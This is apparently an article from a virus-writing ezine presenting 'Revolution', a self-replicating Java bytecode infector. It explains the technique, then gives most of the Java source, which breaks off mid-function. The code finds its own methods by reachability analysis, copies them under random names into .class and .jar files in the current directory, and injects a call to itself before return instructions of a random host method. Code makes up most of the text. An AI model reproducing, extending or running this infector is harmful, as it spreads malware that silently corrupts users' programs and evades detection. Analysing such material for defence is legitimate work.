┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ Self-Extraction Using Reachability │ ▄▄▄▄▄ │ Analysis and Replication in Java │ █ │ │ █ │ ~ r3s1stanc3 └───────────────────█ ──┘ Revolution │ ├── Makefile ├── Revolution.java ├── revolution.txt │ └── demoSource │ ├── InterFace.java ├── Chained.java ├── Main.java ├── Rec.java └── NamingConflicts.java Download revolution.zip ───[ Table of Contents ]───────────────────────────────────────────────────── 0 - Intro 1 - The Class-File API 2 - Shaking the Tree 3 - Moving Around 4 - We're Moving, but Not Running 5 - Why Is This Cool? 6 - Shoutouts 7 - References 8 - Source Code ───[ 0 - Intro ]───────────────────────────────────────────────────────────── It's been a while since I polished up HandJar[0] and wrote ClassWar[1]. Both viruses work similarly by generating Java source code and compiling it to create an entrypoint. This technique depends on the existence of a Java compiler toolchain. My previous work performed the infection by simply copying files into the host file and hooking the entrypoint using the `Main-Class` attribute in `MANIFEST.MF`, or by wrapping an existing class and calling into the old class using reflection. I could never be bothered to do something at the JVM bytecode level. It was too much work to understand the low-level file format, parse and modify the code, and keep track of and update offsets. Sure, it has been done by others[2][3][4], but I never tried it. One could say I was lazy and waiting for a high-level API to perform low-level bytecode manipulation. And boy, oh boy, did the Java team deliver... Java 24 introduced a new, interesting API into the standard library: the Class-File API[5]. This API allows Java class files to be read, modified, and written without having to worry about the low-level details of the class file format. This API opens some powerful possibilities that I will explore in this article: - Perform reachability analysis to dynamically extract all methods called from a specified starting point (e.g. the virus entrypoint) - Move those methods into an existing Java class file - Inject a call to the entrypoint into any existing method in the class file using bytecode manipulation I implemented a PoC using the new API to do exactly that. As the logical next step after ClassWar, I called it Revolution. ───[ 1 - The Class-File API ]──────────────────────────────────────────────── The new API is really powerful and allows for many shenanigans, but for now, there are only a few relevant classes we need to write a virus: - `ClassModel`[6]: a parsed class file - `MethodModel`[7]: method metadata (name, return type, and parameters) - `CodeModel`[8]: the actual bytecode instructions of a `MethodModel` - `ClassTransform`[9]: modifies a class file Getting instances of those classes is as easy as calling `ClassFile.of().parse(content)` to get a `ClassModel`, `classModel.methods()` to access all methods in a class, and `methodModel.code()` to access the `CodeModel`. ───[ 2 - Shaking the Tree ]────────────────────────────────────────────────── Tree shaking[10] is a kind of dead-code elimination used to find and remove dead code, e.g. code that is never called. We can flip the idea and find only the code that actually _is_ executed when searching from a specified starting point, giving us a nice and simple reachability analysis. Knowing the entrypoint of the virus, we can start from there and walk through the call stack, building a dependency tree of all the code the virus needs to execute. Java allows us to dynamically retrieve the name of the class and method currently being executed from the runtime, so we do not need to store the name of the entrypoint inside the virus; we can calculate it when the entrypoint is executed. For simplicity, this PoC places some restrictions on how the code must be written for the reachability analysis to work. With a bit more work, the analysis can be extended to support every language feature there is. For now, the restrictions are as follows: - Only static methods (preferably private, so consumers of an infected class don't see them) - No `switch` over `enum`s, as this produces some peculiar bytecode and I didn't have time to figure that one out - No method references (e.g. `List.of(1).forEach(System.out::println)`) for the same reason as above - No runtime reflection - The entrypoint must be a `static void` method with zero parameters (not actually a restriction of the reachability analysis, but it makes calling the entrypoint in an infected class file easier) This isn't much of a restriction, since any Java code can be rewritten like this. We just cannot use classes to carry state and instead have to pass state around as method parameters, e.g. in `Map`s. `switch` over `enum`s can be rewritten as `if`/`else` constructs, and method references can be rewritten as lambdas (`i -> System.out.println(i)` in the example above). When the code is structured with these restrictions in mind, it's pretty easy to perform a breadth-first search[11] of all the methods called from any starting method. Java bytecode only knows a few ways to call a method: - `invokedynamic`[12] - `invokeinterface`[13] - `invokespecial`[14] - `invokestatic`[15] - `invokevirtual`[16] Analyzing those five bytecode instructions gives us a simple way to build a call tree. The new Class-File API makes it easy to iterate over the instructions of a method's `CodeModel` and perform the reachability analysis. We just look at those instructions, check which methods are invoked, and add the method to the dependency tree if it is not from the standard library. The code could even be spread across multiple classes, but then the methods cannot be `private`. This reachability analysis only happens at the method level, not at the bytecode level. So, if a method contains dead code, it will not be removed. ───[ 3 - Moving Around ]───────────────────────────────────────────────────── Okay, now we know the dependencies of our code. What comes next? We need to actually move the code into a host file. We can more or less just copy all `MethodModel`s, along with their `CodeModel`s, into the host file. Since `static` methods in Java still carry a reference to their enclosing class (e.g. `MyClass#foo`), we need to adjust the reference to use the name of the host class. Here we can also implement a really basic form of polymorphism: since we are already adjusting all references, we can also randomly rename the methods. This has two advantages: - No conflicts with existing methods of the class. We simply generate new random values until we find a name that isn't already used - No deterministic method names to use as patterns for detecting the virus. The code itself still contains patterns that should make detection trivial, but actually morphing the code is left as an exercise to the reader (or me, but I'm running out of time for this submission...) ───[ 4 - We're Moving, but Not Running ]───────────────────────────────────── It's all fun and games up to this point. We dynamically extracted all the logic our virus needs and moved it into a host file, but it never gets executed... A few entrypoint techniques have already been explored in Java, e.g. changing the `Main-Class` attribute in `MANIFEST.MF` to point to the virus and calling the original entrypoint from there (HandJar), wrapping classes using reflection, and injecting a `static` block to call the virus (ClassWar). Those techniques are somewhat boring and predictable when we're already operating at the bytecode level of the class file. Since the entrypoint is a `static` method without any parameters, we just need to use `invokestatic` somewhere in the infected class. Using `ClassTransform#transformingMethodBodies`[17], we can just pick a random method from the host class and inject an `invokestatic` instruction. I decided to inject the call before every `*return` instruction so that, no matter which branch is executed, the entrypoint is called. `CodeBuilder`[18] makes this easy, too. Now, whenever the method we randomly picked gets executed by the original code, the virus is executed, too. ───[ 5 - Why Is This Cool? ]───────────────────────────────────────────────── We are able to infect JVM bytecode by directly modifying it, without having to take care of the gritty little details of the low-level format, like rewriting offsets and header fields. All that is hidden behind a nice, ergonomic API. We also now have a nice, self-contained, and fully independent way to collect all methods that belong to the virus. We don't really have to know where the code is stored; we just need the name of the class and method of the entrypoint. We can get both dynamically from the Java runtime. From there, we just shake until we have nothing left but the virus-relevant methods, then move those to the next target. It keeps working as is, even when we extend the functionality of the virus. Revolution offers a nice, extensible basis for viruses targeting Java bytecode that can be used to explore new EPO techniques, split the code and inject parts of it into different classes, implement polymorphism (e.g. inlining or outlining methods and injecting junk code), and even achieve metamorphism by rewriting certain constructs into different but equivalent code. Hh86 used the exception table for EPO[19], and I plan on exploring this and other EPO techniques based on this framework. All this works not only for JAR files, but also for class files that are not in an archive. Actually, I don't care at all about the executed host file, since one can load the contents of any class file loaded by a JVM instance using `ClassLoader#getResourceAsStream`[20]. I think that's a kind of elegant and cool new way to infect targets that run on the JVM. ───[ 6 - Shoutouts ]───────────────────────────────────────────────────────── - SPTH for being a kind of mentor all those years ago and for always keeping me interested in self-replicating code. Hope you're doing well, wherever you are right now. - TMZ and the whole tmp.0ut staff for continuing to release a VX ezine regularly, for the time they put into reviews, and for giving me the opportunity to release articles from time to time. Thanks a lot, and see you in the next issue! - Peter Ferrie for his devastating analysis of HandJar.A[21], which hurt my fragile little ego on one hand, but also motivated me years later to pick up the work again and continue down this path. I just saw that you're judging the Rootkit Competition for this volume. Nice to see you're still participating in this beautiful side of the VX scene. - The Java team for specifying and implementing the Class-File API and thereby offering an enterprise(TM) API for writing cool new Java infectors. - All the other beautiful people with whom I've crossed paths as they dipped their toes into this scene over the years, came up with exciting new ideas, and kept the work from getting boring. ───[ 7 - References ]──────────────────────────────────────────────────────── [0] https://tmpout.sh/3/28.html [1] https://tmpout.sh/3/29.html [2] https://86hh.github.io/valhalla/issue%204/codes/hh86/GRIMES/GRIMES.txt [3] https://www.f-secure.com/v-descs/sbrew [4] https://threats.kaspersky.com/en/threat/Virus.Java.BeanHive/ [5] https://openjdk.org/jeps/484 [6] https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/ClassModel.html [7] https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/MethodModel.html [8] https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/CodeModel.html [9] https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/ClassTransform.html [10] https://en.wikipedia.org/wiki/Tree_shaking [11] https://en.wikipedia.org/wiki/Breadth-first_search [12] https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokedynamic [13] https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokeinterface [14] https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokespecial [15] https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokestatic [16] https://docs.oracle.com/javase/specs/jvms/se24/html/jvms-6.html#jvms-6.5.invokevirtual [17] https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/ClassTransform.html#transformingMethodBodies(java.util.function.Predicate,java.lang.classfile.CodeTransform) [18] https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/classfile/CodeBuilder.html [19] https://86hh.github.io/valhalla/issue%204/articles/hh86/CLASSI.TXT [20] https://docs.oracle.com/en/java/javase/24/docs/api/java.base/java/lang/ClassLoader.html#getResourceAsStream(java.lang.String) [21] https://www.virusbulletin.com/virusbulletin/2013/12/hands-cookie-jar ───[ 8 - Source Code ]───────────────────────────────────────────────────── ----------------------------[ Revolution.java ]----------------------------

/// Run `make demo` to build the virus and demo sources into `./demo`. Requires Java 24.

import static java.lang.classfile.ClassFile.ACC_STATIC;
import static java.lang.constant.ConstantDescs.CLASS_INIT_NAME;
import static java.lang.constant.ConstantDescs.MTD_void;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.classfile.*;
import java.lang.classfile.constantpool.*;
import java.lang.classfile.instruction.*;
import java.lang.constant.*;
import java.lang.reflect.AccessFlag;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.security.SecureRandom;
import java.util.*;
import java.util.function.Consumer;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.util.stream.StreamSupport;

/// Revolution is a self-replicating virus targeting JVM bytecode.
///
/// It heavily depends on the new [java.lang.classfile] API and therefore needs
/// at least Java 24 to work. It can infect plain `.class` files or whole Jar
/// archives.
///
/// When an infected JVM class or archive is executed, it parses itself and
/// performs reachability analysis to extract a dependency tree of itself (e.g.
/// all methods that are called during the execution of the virus).
///
/// It then searches the current directory for `*.jar` and `*.class` files,
/// checks if they are already infected by checkig for the existence of a file
/// named [#MARKER] in the Jar archive or a constant pool entry with the value of
/// [#MARKER] in a class file.
///
/// It then copies its own methods into the class (or a random class in the
/// archive), renames the methods to get some trivial polymorphism and injects an
/// invokation of its own entrypoint into a random method of the target class.
public class Revolution {
  private static final String MARKER = "doesthislookinfected?";
  /// String
  private static final String KEY_OWNER = "owner";
  /// String
  private static final String KEY_NAME = "name";
  /// String
  private static final String KEY_DESCRIPTOR = "descriptor";

  /// Map<String, ClassModel>
  private static final String KEY_CLASSES = "classes";
  /// Map<MemberKey, MethodModel>
  private static final String KEY_METHODS = "methods";
  /// Map<String, Integer>
  private static final String KEY_VERSION = "version";

  private static final String KEY_MAJOR = "major";
  private static final String KEY_MINOR = "minor";

  /// Descriptor to identify a class member: Owning class, method name,
  /// method signature/descriptor
  private static Map<String, String> memberKey(String owner, String name, String descriptor) {
    return null == descriptor
        ? Map.of(
            KEY_OWNER, owner,
            KEY_NAME, name)
        : Map.of(
            KEY_OWNER, owner,
            KEY_NAME, name,
            KEY_DESCRIPTOR, descriptor);
  }

  @SuppressWarnings("unchecked")
  private static Map<String, ClassModel> classes(Map<?, Map<?, ?>> deps) {
    return (Map<String, ClassModel>) deps.get(KEY_CLASSES);
  }

  @SuppressWarnings("unchecked")
  private static Map<Map<String, String>, MethodModel> methods(Map<?, Map<?, ?>> deps) {
    return (Map<Map<String, String>, MethodModel>) deps.get(KEY_METHODS);
  }

  @SuppressWarnings("unchecked")
  private static Map<String, Integer> version(Map<?, Map<?, ?>> deps) {
    return (Map<String, Integer>) deps.get(KEY_VERSION);
  }

  /// Check target of an [InvokeInstruction].
  private static void handleInvoke(
      InvokeInstruction invoke,
      Deque<Map<String, String>> queue,
      Map<Map<String, String>, MethodModel> visitedMethods) {
    var owner = invoke.owner().name().stringValue();
    if (isJdkClass(owner)) {
      return;
    }

    var key = memberKey(owner, invoke.name().stringValue(), invoke.typeSymbol().descriptorString());

    if (!visitedMethods.containsKey(key)) {
      queue.add(key);
    }
  }

  /// Check targets of [InvokeDynamicInstruction]s TODO: method references
  private static void handleInvokeDynamic(
      InvokeDynamicInstruction indy,
      Deque<Map<String, String>> queue,
      Map<Map<String, String>, MethodModel> visited) {
    for (var arg : indy.invokedynamic().bootstrap().arguments()) {
      if (arg instanceof MethodHandleEntry mhe) {
        var owner = mhe.reference().owner().name().stringValue();
        if (!isJdkClass(owner)) {
          var name = mhe.asSymbol().methodName();
          var desc = mhe.asSymbol().lookupDescriptor();
          var key = memberKey(owner, name, desc);
          if (!visited.containsKey(key)) {
            queue.add(key);
          }
        }
      }
    }
  }

  /// Check targets of
  /// [java.lang.classfile.instruction.ConstantInstruction.LoadConstantInstruction]s, e.g.
  /// constants used by the virus.
  private static void collectLdcClassRef(
      Map<String, ClassModel> modelCache,
      ConstantInstruction.LoadConstantInstruction ldc,
      Map<String, ClassModel> visitedClasses) {
    if (ldc.constantEntry() instanceof ClassEntry ce) {
      var name = ce.name().stringValue();
      if (!isJdkClass(name)) {
        var m = modelCache.get(name);
        if (m != null) {
          visitedClasses.putIfAbsent(name, m);
        }
      }
    }
  }

  private static byte[] loadClass(String className) {
    try (var is = Revolution.class
        .getClassLoader()
        .getResourceAsStream(className.replace('.', '/') + ".class")) {
      return null == is ? null : is.readAllBytes();
    } catch (IOException e) {
      return null;
    }
  }

  /// Extract the virus' dependency tree from a Jar or class file by performing
  /// reachability analysis on the bytecode, starting from the virus' entry point.
  private static Optional<Map<String, Map<?, ?>>> extract(
      String className, String methodName, String descriptor) throws IOException {
    var cf = ClassFile.of();
    var bytecodeCache = new HashMap<String, byte[]>();
    var modelCache = new HashMap<String, ClassModel>();

    var internalName = className.replace('.', '/');

    var visitedClasses = new LinkedHashMap<String, ClassModel>();
    var visitedMethods = new LinkedHashMap<Map<String, String>, MethodModel>();

    var queue = new ArrayDeque<Map<String, String>>();
    queue.add(memberKey(internalName, methodName, descriptor));

    // build dependency tree
    while (!queue.isEmpty()) {
      var work = queue.poll();

      if (visitedMethods.containsKey(work)) {
        continue;
      }

      var workOwner = work.get(KEY_OWNER);

      var bytecode = bytecodeCache.computeIfAbsent(workOwner, o -> loadClass(o));
      if (bytecode == null) {
        continue;
      }

      var classModel = modelCache.computeIfAbsent(internalName, k -> cf.parse(bytecode));

      visitedClasses.putIfAbsent(workOwner, classModel);

      for (var method : classModel.methods()) {
        var workName = work.get(KEY_NAME);
        if (!method.methodName().stringValue().equals(workName)) {
          continue;
        }

        var workDesc = work.get(KEY_DESCRIPTOR);
        var desc = method.methodType().stringValue();

        if (workDesc != null && !desc.equals(workDesc)) {
          continue;
        }

        var key = memberKey(workOwner, workName, desc);

        if (visitedMethods.containsKey(key)) {
          break;
        }
        visitedMethods.put(key, method);

        method
            .code()
            .ifPresent(
                code -> {
                  for (var element : code) {
                    switch (element) {
                      case InvokeInstruction invoke -> handleInvoke(invoke, queue, visitedMethods);

                      case ConstantInstruction.LoadConstantInstruction ldc ->
                        collectLdcClassRef(modelCache, ldc, visitedClasses);

                      case InvokeDynamicInstruction indy ->
                        handleInvokeDynamic(indy, queue, visitedMethods);

                      default -> {
                        /* no additional references */
                      }
                    }
                  }
                });

        if (workDesc != null) {
          break;
        }
      }
    }

    // Highest class version of all virus related classes. This determines the
    // lowest class version
    // we can try to infect.
    var highestVersion = Collections.max(modelCache.values(), versionComparator());

    return Optional.of(
        Map.of(
            KEY_CLASSES,
            visitedClasses,
            KEY_METHODS,
            visitedMethods,
            KEY_VERSION,
            Map.of(
                KEY_MAJOR,
                highestVersion.majorVersion(),
                KEY_MINOR,
                highestVersion.minorVersion())));
  }

  private static Comparator<ClassModel> versionComparator() {
    return Comparator.comparing((ClassModel cm) -> cm.majorVersion())
        .thenComparing(cm -> cm.minorVersion());
  }

  // Assuming those classes are always available, they are excluded from the
  // dependency tree.
  private static boolean isJdkClass(String internalName) {
    return internalName.startsWith("java/")
        || internalName.startsWith("javax/")
        || internalName.startsWith("jdk/")
        || internalName.startsWith("sun/")
        || internalName.startsWith("com/sun/")
        || internalName.startsWith("com/oracle/")
        || internalName.startsWith("org/xml/")
        || internalName.startsWith("org/w3c/")
        || internalName.startsWith("org/ietf/")
        || internalName.startsWith("org/omg/")
        || internalName.startsWith("netscape/");
  }

  private static String unusedRandomName(Set<String> usedNames) {
    String result;
    do {
      result = randomString();
    } while (usedNames.contains(result));
    return result;
  }

  private static String randomString() {
    var alphabet = "abcdefghijklmnopqrstuvwxyz".toCharArray();

    var rng = new SecureRandom();
    var chars = new char[32];
    for (int i = 0; i < chars.length; i++) {
      chars[i] = alphabet[rng.nextInt(alphabet.length)];
    }
    return new String(chars);
  }

  /// Merge the virus' code into the target class file and inject a call to the
  /// virus' entry point.
  private static byte[] merge(
      Map<?, Map<?, ?>> deps,
      String entryPoint,
      String targetInternalName,
      ClassFile cf,
      ClassModel targetModel) {
    // build rename maps to rename all references to the virus' methods to match the
    // target class
    var classRenameMap = buildClassRenameMap(deps, targetInternalName);

    var usedNames = targetModel.methods().stream()
        .map(mm -> mm.methodName().stringValue())
        .collect(Collectors.toUnmodifiableSet());
    var methodRenameMap = buildMethodRenameMap(deps, classRenameMap).keySet().stream()
        // rename virus methods to get polymorphism
        .map(s -> Map.entry(s, unusedRandomName(usedNames)))
        .collect(Collectors.toMap(e -> e.getKey(), e -> e.getValue()));

    var remappedMethods = collectRemappedMethods(cf, deps, classRenameMap, methodRenameMap);

    // candidate methods to inject a call to the entrypoint
    var methods = targetModel.methods().stream().filter(mm -> mm.code().isPresent()).toList();

    // new name of the entrypoint after renaming all methods
    var newEntry = methodRenameMap.entrySet().stream()
        .filter(
            e -> {
              var parts = e.getKey().split("#");
              return parts.length >= 2 && parts[1].equals(entryPoint);
            })
        .map(e -> e.getValue())
        .findFirst()
        .get();

    // ClassTransform to inject a call to the virus entrypoint into a random method
    // or into the
    // static `<clinit>` block
    var inject = injectEntryCall(methods, targetInternalName, newEntry);

    return cf.transformClass(
        targetModel,
        inject.andThen(
            // insert virus methods into the target class
            ClassTransform.endHandler(
                cb -> {
                  for (MethodModel m : remappedMethods)
                    cb.with(m);
                })));
  }

  private static ClassTransform injectEntryCall(
      List<MethodModel> methods, String className, String methodName) {
    Consumer<CodeBuilder> injectEntryPoint = cb -> cb.invokestatic(ClassDesc.of(className), methodName, MTD_void);
    if (methods.isEmpty()) {
      return ClassTransform.endHandler(
          cb -> cb.withMethodBody(CLASS_INIT_NAME, MTD_void, ACC_STATIC, injectEntryPoint));
    } else {
      var targetMethod = methods.get(new SecureRandom().nextInt(methods.size()));
      return ClassTransform.transformingMethodBodies(
          mm -> mm.equals(targetMethod),
          (cb, ce) -> {
            if (ce instanceof ReturnInstruction) {
              injectEntryPoint.accept(cb);
            }
            cb.with(ce);
          });
    }
  }

  /// Apply the class- and method name changes to the virus code
  private static List<MethodModel> collectRemappedMethods(
      ClassFile cf,
      Map<?, Map<?, ?>> deps,
      Map<String, String> classRenameMap,
      Map<String, String> methodRenameMap) {
    var result = new ArrayList<MethodModel>();

    var classes = classes(deps);
    var methods = methods(deps);

    for (var entry : methods.entrySet()) {
      var key = entry.getKey();
      var keyOwner = key.get(KEY_OWNER);
      var keyName = key.get(KEY_NAME);
      var keyDesc = key.get(KEY_DESCRIPTOR);

      var model = entry.getValue();
      var owner = classes.get(keyOwner);
      if (owner == null) {
        continue;
      }

      var resolvedName = methodRenameMap.get(ownerKey(key));

      var remappedType = remapMethodType(classRenameMap, model.methodTypeSymbol());

      var flags = model.flags().flagsMask();

      byte[] scratch = cf.transformClass(
          owner,
          (cb, ce) -> {
            if (ce instanceof MethodModel mm
                && mm.methodName().stringValue().equals(keyName)
                && mm.methodType().stringValue().equals(keyDesc)) {

              cb.withMethod(
                  resolvedName,
                  remappedType,
                  flags,
                  mb -> {
                    for (MethodElement me : mm) {
                      if (me instanceof CodeModel code) {
                        mb.withCode(
                            cob -> {
                              remapCode(classRenameMap, methodRenameMap, code, cob);
                            });
                      } else {
                        mb.with(me);
                      }
                    }
                  });
            }
          });

      cf.parse(scratch).methods().stream()
          .filter(m -> m.methodName().stringValue().equals(resolvedName))
          .findFirst()
          .ifPresent(mm -> result.add(mm));
    }
    return result;
  }

  private static void remapCode(
      Map<String, String> classRenameMap,
      Map<String, String> methodRenameMap,
      CodeModel source,
      CodeBuilder builder) {
    for (var element : source) {
      remapSingleElement(classRenameMap, methodRenameMap, element, builder);
    }
  }

  /// Rewrite references to the virus' methods or constants to their new names
  private static void remapSingleElement(
      Map<String, String> classRenameMap,
      Map<String, String> methodRenameMap,
      CodeElement element,
      CodeBuilder builder) {
    switch (element) {
      case InvokeInstruction inv when inv.opcode() == Opcode.INVOKESPECIAL -> {
        var owner = inv.owner().name().stringValue();
        var name = inv.name().stringValue();
        var desc = inv.typeSymbol().descriptorString();
        var newOwner = classRenameMap.getOrDefault(owner, owner);
        var newName = classRenameMap.containsKey(owner)
            ? resolvedMethodName(methodRenameMap, owner, name, desc)
            : name;
        builder.invokespecial(
            ClassDesc.ofInternalName(newOwner),
            newName,
            remapMethodType(classRenameMap, MethodTypeDesc.ofDescriptor(desc)));
      }

      case InvokeInstruction invoke -> {
        var owner = invoke.owner().name().stringValue();
        var name = invoke.name().stringValue();
        var desc = invoke.typeSymbol().descriptorString();
        var newOwner = classRenameMap.getOrDefault(owner, owner);
        var newName = classRenameMap.containsKey(owner)
            ? resolvedMethodName(methodRenameMap, owner, name, desc)
            : name;
        var newType = remapMethodType(classRenameMap, MethodTypeDesc.ofDescriptor(desc));
        var newOwnerDesc = ClassDesc.ofInternalName(newOwner);
        var opcode = invoke.opcode();
        if (opcode == Opcode.INVOKEINTERFACE) {
          builder.invokeinterface(newOwnerDesc, newName, newType);
        } else if (opcode == Opcode.INVOKESTATIC) {
          builder.invokestatic(newOwnerDesc, newName, newType, invoke.isInterface());
        } else if (opcode == Opcode.INVOKEVIRTUAL) {
          builder.invokevirtual(newOwnerDesc, newName, newType);
        } else {
          builder.with(element);
        }
      }

      case InvokeDynamicInstruction indy -> {
        var remappedSiteType = remapMethodType(classRenameMap, indy.typeSymbol());

        var remappedArgs = new ArrayList<ConstantDesc>();

        for (var arg : indy.invokedynamic().bootstrap().arguments()) {
          remappedArgs.add(remapBootstrapArg(classRenameMap, methodRenameMap, arg));
        }

        var bsmHandle = remapMethodHandle(classRenameMap, methodRenameMap, indy.bootstrapMethod());

        builder.invokedynamic(
            DynamicCallSiteDesc.of(
                bsmHandle,
                indy.name().stringValue(),
                remappedSiteType,
                remappedArgs.toArray(ConstantDesc[]::new)));
      }

      case ConstantInstruction.LoadConstantInstruction ldc when ldc.constantEntry() instanceof ClassEntry ce -> {
        var src = ce.name().stringValue();
        var mapped = classRenameMap.getOrDefault(src, src);
        builder.ldc(ClassDesc.ofInternalName(mapped));
      }

      default -> builder.with(element);
    }
  }

  private static ConstantDesc remapBootstrapArg(
      Map<String, String> classRenameMap,
      Map<String, String> methodRenameMap,
      LoadableConstantEntry arg) {
    return switch (arg) {
      case MethodHandleEntry mhe ->
        remapMethodHandle(classRenameMap, methodRenameMap, mhe.asSymbol());

      case MethodTypeEntry mte -> remapMethodType(classRenameMap, mte.asSymbol());

      case ClassEntry ce -> {
        String src = ce.name().stringValue();
        yield ClassDesc.ofInternalName(classRenameMap.getOrDefault(src, src));
      }

      // Strings, integers, longs, floats, doubles - pass through.
      default -> arg.constantValue();
    };
  }

  private static DirectMethodHandleDesc remapMethodHandle(
      Map<String, String> classRenameMap,
      Map<String, String> methodRenameMap,
      DirectMethodHandleDesc handle) {
    var owner = handle.owner().descriptorString();
    var internalOwner = owner.startsWith("L") && owner.endsWith(";")
        ? owner.substring(1, owner.length() - 1)
        : owner;

    var newOwner = classRenameMap.getOrDefault(internalOwner, internalOwner);
    var newOwnerDesc = ClassDesc.ofInternalName(newOwner);

    var newName = classRenameMap.containsKey(internalOwner)
        ? resolvedMethodName(
            methodRenameMap,
            internalOwner,
            handle.methodName(),
            handle.invocationType().descriptorString())
        : handle.methodName();

    var newType = remapMethodType(classRenameMap, handle.invocationType());

    return MethodHandleDesc.ofMethod(handle.kind(), newOwnerDesc, newName, newType);
  }

  private static String resolvedMethodName(
      Map<String, String> methodRenameMap, String owner, String name, String descriptor) {
    return methodRenameMap.getOrDefault(owner + "#" + name + "#" + descriptor, name);
  }

  private static MethodTypeDesc remapMethodType(
      Map<String, String> classRenameMap, MethodTypeDesc original) {
    var returnType = remapClassDesc(classRenameMap, original.returnType());
    var newParams = Stream.of(original.parameterArray())
        .map(param -> remapClassDesc(classRenameMap, param))
        .toList();
    return MethodTypeDesc.of(returnType, newParams);
  }

  private static ClassDesc remapClassDesc(Map<String, String> classRenameMap, ClassDesc desc) {
    if (desc.isArray()) {
      return remapClassDesc(classRenameMap, desc.componentType()).arrayType();
    }
    if (desc.isPrimitive()) {
      return desc;
    }
    var rawDesc = desc.descriptorString();
    if (rawDesc.startsWith("L") && rawDesc.endsWith(";")) {
      var inner = rawDesc.substring(1, rawDesc.length() - 1);
      var mapped = classRenameMap.getOrDefault(inner, inner);
      return ClassDesc.ofInternalName(mapped);
    }
    return desc;
  }

  private static Map<String, String> buildClassRenameMap(
      Map<?, Map<?, ?>> deps, String targetInternalName) {
    var map = new HashMap<String, String>();
    var classes = classes(deps);
    for (var src : classes.keySet()) {
      map.put(src, targetInternalName);
    }
    return map;
  }

  private static Map<String, String> buildMethodRenameMap(
      Map<?, Map<?, ?>> deps, Map<String, String> classRenameMap) {
    var claimed = new LinkedHashMap<String, String>();
    var rename = new HashMap<String, String>();

    var methods = methods(deps);

    for (var entry : methods.entrySet()) {
      var key = entry.getKey();

      var ownerKey = ownerKey(key);
      var keyName = key.get(KEY_NAME);
      var keyOwner = key.get(KEY_OWNER);
      var keyDesc = key.get(KEY_DESCRIPTOR);

      var slot = keyName + remapDescriptor(classRenameMap, keyDesc);
      if (!claimed.containsKey(slot)) {
        claimed.put(slot, ownerKey);
        rename.put(ownerKey, keyName);
      } else {
        rename.put(ownerKey, simpleClassName(keyOwner) + "$" + keyName);
      }
    }
    return rename;
  }

  private static String remapDescriptor(Map<String, String> classRenameMap, String descriptor) {
    var sb = new StringBuilder();
    var i = 0;
    while (i < descriptor.length()) {
      var c = descriptor.charAt(i);
      if (c == 'L') {
        var end = descriptor.indexOf(';', i);
        var cls = descriptor.substring(i + 1, end);
        sb.append('L').append(classRenameMap.getOrDefault(cls, cls)).append(';');
        i = end + 1;
      } else {
        sb.append(c);
        i++;
      }
    }
    return sb.toString();
  }

  private static String ownerKey(Map<String, String> key) {
    return key.get(KEY_OWNER) + "#" + key.get(KEY_NAME) + "#" + key.get(KEY_DESCRIPTOR);
  }

  private static String simpleClassName(String internalName) {
    var slash = internalName.lastIndexOf('/');
    return slash < 0 ? internalName : internalName.substring(slash + 1);
  }

  private static String methodName() {
    return StackWalker.getInstance().walk(s -> s.skip(1).findFirst()).get().getMethodName();
  }

  private static void infect(String entryClass, String entryMethod) {
    try {
      var optDeps = Revolution.extract(entryClass, entryMethod, null);
      if (optDeps.isEmpty()) {
        return;
      }
      var deps = optDeps.get();
      var version = version(deps);
      var searchPath = Path.of(".");
      classCandidates(searchPath)
          .forEach(
              target -> processClass(deps, entryMethod, target, version)
                  .ifPresent(content -> write(target, content)));

      jarCandidates(searchPath)
          .forEach(
              jar -> processJar(jar, deps, entryMethod, version)
                  .ifPresent(content -> write(jar, content)));
    } catch (IOException _) {
    }
  }

  private static void write(Path target, byte[] content) {
    Path temp = null;
    try {
      temp = Files.createTempFile(target.getParent(), "", "");
      Files.write(temp, content);
      Files.move(temp, target, StandardCopyOption.ATOMIC_MOVE, StandardCopyOption.REPLACE_EXISTING);
    } catch (IOException _) {
    } finally {
      try {
        if (null != temp) {
          Files.deleteIfExists(temp);
        }
      } catch (IOException _) {
      }
    }
  }

  private static Optional<byte[]> processClass(
      Map<?, Map<?, ?>> deps, String entryMethod, Path target, Map<String, Integer> version) {
    try {
      var targetBytes = Files.readAllBytes(target);
      return processClass(deps, entryMethod, targetBytes, version);
    } catch (IOException _) {
      return Optional.empty();
    }
  }

  private static Optional<byte[]> processClass(
      Map<?, Map<?, ?>> deps,
      String entryMethod,
      byte[] targetBytes,
      Map<String, Integer> version) {
    var cf = ClassFile.of();
    var model = cf.parse(targetBytes);
    if (!canInfectClass(model, version)) {
      return Optional.empty();
    }
    var targetName = model.thisClass().name().stringValue();

    return Optional.of(merge(deps, entryMethod, targetName, cf, model));
  }

  private static Optional<byte[]> processJar(
      Path target, Map<?, Map<?, ?>> deps, String entryMethod, Map<String, Integer> version) {
    try (var jar = new JarFile(target.toFile())) {
      var replacements = new HashMap<String, byte[]>();
      for (var entry : Collections.list(jar.entries())) {
        if (entry.getName().endsWith(".class")) {
          var content = jar.getInputStream(entry).readAllBytes();
          var done = processClass(deps, entryMethod, content, version);
          if (done.isPresent()) {
            replacements.put(entry.getName(), done.get());
            break;
          }
        }
      }

      if (replacements.isEmpty()) {
        return Optional.empty();
      } else {
        // place infection marker
